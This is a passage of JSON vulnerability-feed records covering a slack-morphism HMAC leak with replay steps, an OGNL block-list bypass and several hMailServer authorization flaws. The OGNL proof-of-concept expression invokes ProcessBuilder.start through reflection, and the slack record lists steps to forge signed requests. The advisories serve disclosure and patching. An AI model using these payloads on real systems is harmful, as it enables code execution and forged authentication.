and `Display` representations expose that value, and the default Axum listener error handler logs it at error level.","detail":"### Summary\n\nSlack Morphism exposes the correct Slack request HMAC when signature verification fails.\n\nFor an invalid request, `slack-morphism` computes the correct signature for the attacker-controlled timestamp and request body and stores it in `SlackEventWrongSignatureError.generated_hash`. The error's `Debug` and `Display` representations expose that value, and the default Axum listener error handler logs it at error level.\n\nAn attacker who can both reach the application's Slack callback endpoint and read its application/service logs can therefore use the verifier as a chosen-message HMAC oracle. The attacker can send an arbitrary request with an invalid signature, recover the correct signature from the resulting log entry, and resend the same request within the five-minute freshness window. The second request passes Slack Morphism's signature verification and reaches the protected application callback without the attacker knowing the Slack signing secret.\n\nI reproduced this end-to-end against both the Axum and Hyper integrations in `slack-morphism` 2.26.0 and 2.27.0.\n\n### Details\n\nThe vulnerability is in Slack Morphism's request signature verification error path.\n\nIn `src/signature_verifier.rs`, `SlackEventSignatureVerifier::verify` computes the expected signature before comparing it with the untrusted `X-Slack-Signature` supplied by the request.\n\nOn a mismatch, the implementation creates a `SlackEventWrongSignatureError` containing the complete correct signature in its public `generated_hash` field.\n\nRelevant source path:\n\n```text\nsrc/signature_verifier.rs:46-59\n```\n\nThe error type is defined around:\n\n```text\nsrc/signature_verifier.rs:182-199\n```\n\n`generated_hash` is a public `String`; the type derives `Debug`, and its `Display` implementation also prints the generated signature.\n\nThe resulting source-to-sink path is:\n\n1. `SlackEventSignatureVerifier::verify` computes the expected HMAC for the attacker-controlled timestamp and raw request body.\n2. Signature verification fails because the attacker initially sends an invalid signature.\n3. Slack Morphism places the correct expected value in `SlackEventWrongSignatureError.generated_hash`.\n4. The error's `Debug` and `Display` representations reveal that HMAC.\n5. The Axum middleware propagates/formats the error through `src/axum_support/slack_events_middleware.rs`.\n6. The default listener error handler in `src/listener.rs` logs the error at error level.\n7. The attacker reads the generated HMAC from the logs.\n8. The attacker resends the identical timestamp and body using the disclosed value as `X-Slack-Signature`.\n9. Slack Morphism accepts the request and executes the protected callback.\n\nThe Hyper path is also affected. `src/hyper_tokio/hyper_ext.rs` propagates the verifier error as a service error, and formatting that error similarly exposes the generated signature.\n\nThe disclosed value is exactly the credential required to authenticate the corresponding request:\n\n```text\nv0=hex(HMAC-SHA256(signing_secret, \"v0:\" || timestamp || \":\" || raw_body))\n```\n\nThere is no weakness in HMAC-SHA256 or the constant-time comparison itself. The vulnerability is that the expected authentication value is disclosed through the verifier's error path.\n\n#### Affected versions\n\nI reproduced the vulnerability against:\n\n- `slack-morphism` 2.26.0\n- `slack-morphism` 2.27.0\n- current `master` at audit time:\n `e3b3ecabf99dfcf6c3548a42fba89fbfa510d21c`\n\nGit history indicates that the public `generated_hash` field was introduced in:\n\n```text\n9bf623bd51c6a9ef0cd22d842cc707a3311f1f22\n```\n\nand appears to have existed since v0.10.0. Since versions before 2.26.0 are unsupported and were not dynamically tested during this assessment, I am reporting the independently validated supported range as:\n\n```text\n>= 2.26.0, \n\nX-Slack-Signature:\nv0=0000000000000000000000000000000000000000000000000000000000000000\n```\n\nThe all-zero signature is deliberately invalid.\n\n#### First request\n\nThe first request is correctly rejected with HTTP 400.\n\nHowever, Slack Morphism's default error output contains an entry equivalent to:\n\n```text\nSlackEventWrongSignatureError {\n ...\n generated_hash: \"v0= \"\n}\n```\n\nwhere ` ` is the valid Slack request signature for the exact attacker-controlled timestamp and body.\n\nCopy that `generated_hash`.\n\nBefore the five-minute timestamp window expires, resend the **identical body and timestamp**, changing only the signature header:\n\n```text\nX-Slack-Signature: v0= \n```\n\n#### Result\n\nThe second request returns HTTP 200 and the protected application callback executes.\n\nIn my end-to-end Axum reproduction the application observed:\n\n```text\nPROTECTED_CALLBACK_EXECUTED body={\"type\":\"attacker_chosen\",\"action\":\"transfer\"}\n```\n\nI independently reproduced the same primitive through the Hyper integration. The invalid request produces a service error containing:\n\n```text\nWrongSignatureError(... generated_hash: \"v0= \")\n```\n\nand replaying that value with the same timestamp and body causes the protected callback to execute.\n\n#### Expected behavior\n\nAn invalid Slack request should be rejected without exposing any verifier-derived value that could authenticate a subsequent request.\n\nNeither verifier error objects nor application logs should contain the expected HMAC.\n\n#### Actual behavior\n\nThe invalid request is rejected, but Slack Morphism exposes the correct HMAC for the attacker-selected timestamp and body through the verifier error.\n\nReusing that disclosed HMAC within the freshness window causes the previously invalid attacker-controlled request to pass authentication and reach the protected callback.\n\n### Impact\n\nAn attacker requires:\n\n1. network access to a Slack Morphism Events API, slash-command, interaction, or equivalent signed callback endpoint; and\n2. lower-privilege read access to the application's/service's logs containing the verifier error.\n\nThe attacker does **not** need:\n\n- the Slack signing secret;\n- a Slack access token;\n- a Slack app token;\n- access to a Slack w\n\nAffected package ranges reported by GitHub:\nslack-morphism: >= 1.0.0, <= 2.27.0","action":"GitHub lists first patched versions: slack-morphism: 2.28.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T16:38:47.000Z","updatedAt":"2026-10-21T16:38:48.000Z","regions":["Global"],"vendor":null,"product":"slack-morphism","stacks":["Rust crates","slack-morphism","rust"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://github.com/advisories/GHSA-26w4-8w32-4x3v","asOf":"2026-10-21T16:38:48.000Z"},"epss":{"probability":0.00384,"percentile":0.32167,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113799&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-26w4-8w32-4x3v","url":"https://github.com/advisories/GHSA-26w4-8w32-4x3v","type":"primary","publishedAt":"2026-10-21T16:38:47.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-26w4-8w32-4x3v, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-26w4-8w32-4x3v, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-26w4-8w32-4x3v, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-26w4-8w32-4x3v, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-26w4-8w32-4x3v, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-26w4-8w32-4x3v, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-26w4-8w32-4x3v, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-26w4-8w32-4x3v, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-26w4-8w32-4x3v, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113799&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113799, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113730","cveId":"CVE-2026-113730","aliases":["GHSA-crwc-vw2r-qr6m"],"kind":"vulnerability","title":"OGNL stricter-invocation block list bypass via java.lang.reflect reflection proxies","summary":"OGNL's optional *stricter invocation* mode maintains a block list that prevents expressions from directly calling methods on dangerous classes such as `Runtime`, `ProcessBuilder`, and `ClassLoader`. The block list filters on the **declaring class of the method OGNL invokes**. Because `java.lang.reflect.Method` (and `Constructor`/`Field`) are not on the list, an expression can use reflection as a proxy — `someMethod.invoke(target, args)` — to reach a blocked method. The real call (e.g. `ProcessBuilder.start()`) then executes inside the JDK reflection machinery and never passes back through OGNL's `invokeMethod`, so the block list never sees it.\n\nUnder the default OGNL context (public-only access, stricter invocation enabled), the following expression creates a file even though a direct `new ProcessBuilder(...).start()` is blocked:","detail":"### Summary\n\nOGNL's optional *stricter invocation* mode maintains a block list that prevents expressions from directly calling methods on dangerous classes such as `Runtime`, `ProcessBuilder`, and `ClassLoader`. The block list filters on the **declaring class of the method OGNL invokes**. Because `java.lang.reflect.Method` (and `Constructor`/`Field`) are not on the list, an expression can use reflection as a proxy — `someMethod.invoke(target, args)` — to reach a blocked method. The real call (e.g. `ProcessBuilder.start()`) then executes inside the JDK reflection machinery and never passes back through OGNL's `invokeMethod`, so the block list never sees it.\n\n### Proof of concept\n\nUnder the default OGNL context (public-only access, stricter invocation enabled), the following expression creates a file even though a direct `new ProcessBuilder(...).start()` is blocked:\n\n```\n(#pb=new java.lang.ProcessBuilder({\"/usr/bin/touch\",\"rce-proof.txt\"}),\n #methods=@java.lang.ProcessBuilder@class.getMethods(),\n #names=#methods.{ #this.getName() },\n #startIdx=#names.indexOf(\"start\"),\n #methods[#startIdx].invoke(#pb, null))\n```\n\n### Impact and scope — please read carefully\n\n**This is hardening of a defense-in-depth secondary layer, not a break of OGNL's primary security boundary.**\n\nIn OGNL the stricter-invocation block list is a *secondary* mitigation. The **primary** access-control gate is the `MemberAccess` implementation supplied by the integrating framework or application, which OGNL consults on every constructor and method call. Frameworks that evaluate untrusted expressions are expected to install a restrictive `MemberAccess` — for example, Apache Struts' `SecurityMemberAccess`, which excludes dangerous classes and the `java.lang.reflect` package. Against such a `MemberAccess` this PoC is blocked at the very first step (the `new ProcessBuilder(...)` constructor), before reflection is ever reachable.\n\nThe default context that ships with OGNL intentionally allows all public members and is **not** designed to sandbox untrusted input. An application that evaluates attacker-controlled expressions with that permissive default already has many paths to code execution, and this technique is not required to achieve it.\n\n**You are affected only if all of the following hold:** (1) your application evaluates untrusted/attacker-controlled OGNL expressions, (2) it uses OGNL's default permissive `MemberAccess` (or an equivalently permissive one that allows `java.lang.reflect`), and (3) it relies on the stricter-invocation block list as its sandbox. **Properly configured consumers — including Apache Struts with its `SecurityMemberAccess` — are not affected.** The actual protection for untrusted-expression scenarios remains a correctly configured `MemberAccess`; the block list should not be treated as a sandbox.\n\n### Fix\n\n`java.lang.reflect.Method`, `java.lang.reflect.Constructor`, and `java.lang.reflect.Field` are added to the stricter-invocation block list, so reflection objects can no longer be used as invocation proxies in stricter mode. The `java.lang.invoke.MethodHandle` path was verified not to be exploitable (its signature-polymorphic `invoke`/`invokeExact` fail through OGNL's reflection-based invocation), so no additional classes are required.\n\n### Credit\n\nReported responsibly through Tidelift by 毛锐 (youyi.mr@alibaba-inc.com).\n\nAffected package ranges reported by GitHub:\nognl:ognl: <= 3.4.12","action":"GitHub lists first patched versions: ognl:ognl: 3.4.13. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T16:31:04.000Z","updatedAt":"2026-10-21T16:31:05.000Z","regions":["Global"],"vendor":null,"product":"ognl:ognl","stacks":["Java","Java packages (Maven)","ognl:ognl","maven"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","sourceUrl":"https://github.com/advisories/GHSA-crwc-vw2r-qr6m","asOf":"2026-10-21T16:31:05.000Z"},"epss":{"probability":0.00394,"percentile":0.33355,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113730&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-crwc-vw2r-qr6m","url":"https://github.com/advisories/GHSA-crwc-vw2r-qr6m","type":"primary","publishedAt":"2026-10-21T16:31:04.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-crwc-vw2r-qr6m, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-crwc-vw2r-qr6m, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-crwc-vw2r-qr6m, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-crwc-vw2r-qr6m, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-crwc-vw2r-qr6m, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-crwc-vw2r-qr6m, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-crwc-vw2r-qr6m, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-crwc-vw2r-qr6m, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-crwc-vw2r-qr6m, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113730&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113730, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114490","cveId":"CVE-2026-114490","aliases":[],"kind":"vulnerability","title":"Incorrect authorization in the COM administration API of Progressive Robot hMailServer 6.3.4 through 6.3.6 allows an account assigned the serveradmin role with a list of domains -...","summary":"Incorrect authorization in the COM administration API of Progressive Robot hMailServer 6.3.4 through 6.3.6 allows an account assigned the serveradmin role with a list of domains - a credential an administrator may create meaning to confine it to those domains - to act as the whole-server administrator over COM. Administrator roles are meant to confine such a credential to the domains its list names, and the REST API did not take it for the server administrator, but the COM API's server-administrator check read the administer_server permission as the whole server whatever list the grant carried. So the credential signed in through the Control Panel, or through a script run on the server, as the server administrator of every domain: it could read and change every domain's accounts and mail, rename any domain, map a domain alias onto any, write the server's settings and secrets, and create further server-administrator accounts. The COM API's domain-administrator check, asked with no domain, likewise let an account assigned the domainadmin role with a list of domains that leaves out the account's own domain administer that domain's ordinary accounts over COM. An account holding serveradmin with no list is the server administrator by design and is unaffected, as are the help desk, auditor and custom roles.","detail":"Incorrect authorization in the COM administration API of Progressive Robot hMailServer 6.3.4 through 6.3.6 allows an account assigned the serveradmin role with a list of domains - a credential an administrator may create meaning to confine it to those domains - to act as the whole-server administrator over COM. Administrator roles are meant to confine such a credential to the domains its list names, and the REST API did not take it for the server administrator, but the COM API's server-administrator check read the administer_server permission as the whole server whatever list the grant carried. So the credential signed in through the Control Panel, or through a script run on the server, as the server administrator of every domain: it could read and change every domain's accounts and mail, rename any domain, map a domain alias onto any, write the server's settings and secrets, and create further server-administrator accounts. The COM API's domain-administrator check, asked with no domain, likewise let an account assigned the domainadmin role with a list of domains that leaves out the account's own domain administer that domain's ordinary accounts over COM. An account holding serveradmin with no list is the server administrator by design and is unaffected, as are the help desk, auditor and custom roles.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T16:17:35.647Z","updatedAt":"2026-10-22T16:18:19.040Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114490","asOf":"2026-10-22T16:18:19.040Z"},"epss":{"probability":0.00108,"percentile":0.01176,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114490&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114490","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114490","type":"primary","publishedAt":"2026-10-21T16:17:35.647Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114490&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114490, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114489","cveId":"CVE-2026-114489","aliases":[],"kind":"vulnerability","title":"Missing authorization in the REST and COM administration APIs of Progressive Robot hMailServer 6.0.0 through 6.3.6 allows a remote authenticated user whose credential is confined...","summary":"Missing authorization in the REST and COM administration APIs of Progressive Robot hMailServer 6.0.0 through 6.3.6 allows a remote authenticated user whose credential is confined to named domains to change mail routing and domain configuration beyond those domains on a multi-tenant server. A domain administrator, an account or API key given another role that manages accounts in named domains, or a full-scope API key issued for named domains could create a domain alias for any name (so that other tenants' mail for that name is diverted to an address the attacker controls, or denied), rename a domain to any name the server does not host, set a rule's bind-to-address, send-using-route or script-function action to reach one of the server's own addresses, a configured route's stored credentials or a function of the server's event script, and set the domain's relay host - which delivery then connects to with no address rule - to an address on the server's own network; and over the COM API any account could set the three rule actions on its own rules, where the script-function action runs at delivery. The authorization gate did not refuse these routes to a confined credential and the handlers were not given the caller; over COM the domain-alias save performed no authorization check at all, the domain rename required only a domain administrator, and a rule save required at most that the caller could change the rule's owner.","detail":"Missing authorization in the REST and COM administration APIs of Progressive Robot hMailServer 6.0.0 through 6.3.6 allows a remote authenticated user whose credential is confined to named domains to change mail routing and domain configuration beyond those domains on a multi-tenant server. A domain administrator, an account or API key given another role that manages accounts in named domains, or a full-scope API key issued for named domains could create a domain alias for any name (so that other tenants' mail for that name is diverted to an address the attacker controls, or denied), rename a domain to any name the server does not host, set a rule's bind-to-address, send-using-route or script-function action to reach one of the server's own addresses, a configured route's stored credentials or a function of the server's event script, and set the domain's relay host - which delivery then connects to with no address rule - to an address on the server's own network; and over the COM API any account could set the three rule actions on its own rules, where the script-function action runs at delivery. The authorization gate did not refuse these routes to a confined credential and the handlers were not given the caller; over COM the domain-alias save performed no authorization check at all, the domain rename required only a domain administrator, and a rule save required at most that the caller could change the rule's owner.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T16:17:35.500Z","updatedAt":"2026-10-22T16:18:19.040Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114489","asOf":"2026-10-22T16:18:19.040Z"},"epss":{"probability":0.00272,"percentile":0.19434,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114489&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114489","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114489","type":"primary","publishedAt":"2026-10-21T16:17:35.500Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114489&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114489, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114476","cveId":"CVE-2026-114476","aliases":[],"kind":"vulnerability","title":"Incorrect authorization in the REST administration API of Progressive Robot hMailServer 6.3.4 through 6.3.6 allows a remote authenticated user whose credential holds the...","summary":"Incorrect authorization in the REST administration API of Progressive Robot hMailServer 6.3.4 through 6.3.6 allows a remote authenticated user whose credential holds the manage_roles permission in named domains - a full-scope API key issued for those domains, or an account assigned the serveradmin role with a list of domains - to obtain the server administrator's authority. An account's admin level gives it authority, and a role assigned to it replaces that authority, which is how an administrator narrows an account whose admin level is the server administrator's. The route that takes a role away (DELETE /api/v1/role-assignments/{address}) checked only that the credential takes in what the account held at the time, not what it would hold afterwards, so such a credential could take a narrowing role away from an account in its domains whose admin level is the server administrator's, returning it to the server administrator's authority, and, having set that account's password while it held the narrower role, sign in as the server administrator.","detail":"Incorrect authorization in the REST administration API of Progressive Robot hMailServer 6.3.4 through 6.3.6 allows a remote authenticated user whose credential holds the manage_roles permission in named domains - a full-scope API key issued for those domains, or an account assigned the serveradmin role with a list of domains - to obtain the server administrator's authority. An account's admin level gives it authority, and a role assigned to it replaces that authority, which is how an administrator narrows an account whose admin level is the server administrator's. The route that takes a role away (DELETE /api/v1/role-assignments/{address}) checked only that the credential takes in what the account held at the time, not what it would hold afterwards, so such a credential could take a narrowing role away from an account in its domains whose admin level is the server administrator's, returning it to the server administrator's authority, and, having set that account's password while it held the narrower role, sign in as the server administrator.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T16:17:34.947Z","updatedAt":"2026-10-22T16:18:19.040Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114476","asOf":"2026-10-22T16:18:19.040Z"},"epss":{"probability":0.00274,"percentile":0.19576,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114476&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114476","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114476","type":"primary","publishedAt":"2026-10-21T16:17:34.947Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114476&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114476, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114257","cveId":"CVE-2026-114257","aliases":[],"kind":"vulnerability","title":"A security vulnerability has been detected in oretnom23 file-management-system-php up to 